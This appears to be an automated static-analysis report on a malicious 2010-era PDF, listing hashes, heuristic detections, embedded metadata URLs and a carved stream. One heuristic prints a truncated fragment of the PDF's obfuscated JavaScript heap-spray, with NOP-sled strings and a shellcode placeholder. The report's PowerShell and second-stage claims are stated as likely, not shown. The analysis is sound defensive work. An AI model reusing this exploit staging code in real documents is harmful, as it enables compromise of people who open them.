Malicious PDF — malware analysis report

Static analysis result for SHA-256 f19647c27aeb62ee…

MALICIOUS

PDF

13.9 KB Created: 2010-02-28 13:02:50 +03:00 Authoring application: Acrobat Editor 9.0 (via Adobe Acrobat 9.3.1) First seen: 2026-05-11
MD5: ab1ac1348a14d348fe35a0636805ab5e SHA-1: f54fcfeb79f68f3b5fab72085fb436bd7a534445 SHA-256: f19647c27aeb62eecc38a273981b7cb01055807a8b96dce491f0777e92dcf69e
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains JavaScript that utilizes the `unescape()` function, indicating an attempt to deobfuscate malicious code. This script is likely designed to download and execute a second-stage payload. The presence of JavaScript actions and the use of `unescape()` are strong indicators of malicious intent, though the specific payload and delivery mechanism are not fully discernible from the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9830

Heuristics 4

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function RandomVar7(RandomVar8){return unescape(RandomVar8);}var RandomVar5 = new Array();var RandomVar1 = 'ARG0c0cARG0c0c'.replace(/ARG/igm,'%u');var RandomVar2 = 'ARG9090ARG9090'.replace(/ARG/igm,'%u');var RandomVar3 = 'COLLABSHELL'.replace(/Z/igm,'%u').replace(/X/igm,'0');RandomVar1=RandomVar7(RandomVar1);RandomVar2=RandomVar7(RandomVar2);RandomVar3=RandomVar7(RandomVar3);while (RandomVar2.length * 2 < 0x3fffc8-RandomVar3.length * 2){RandomVar2 += RandomVar2;}RandomVar2 = RandomVar2.substr(0, …
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/AcrobatAdhocWorkflow/1.0/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
stream_008_off00002df2.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x2DF2 1954 bytes
SHA-256: ee3cb40670ba0bb0e1fa3f0da12d60d1118974e091749441bd97752f9e84da51

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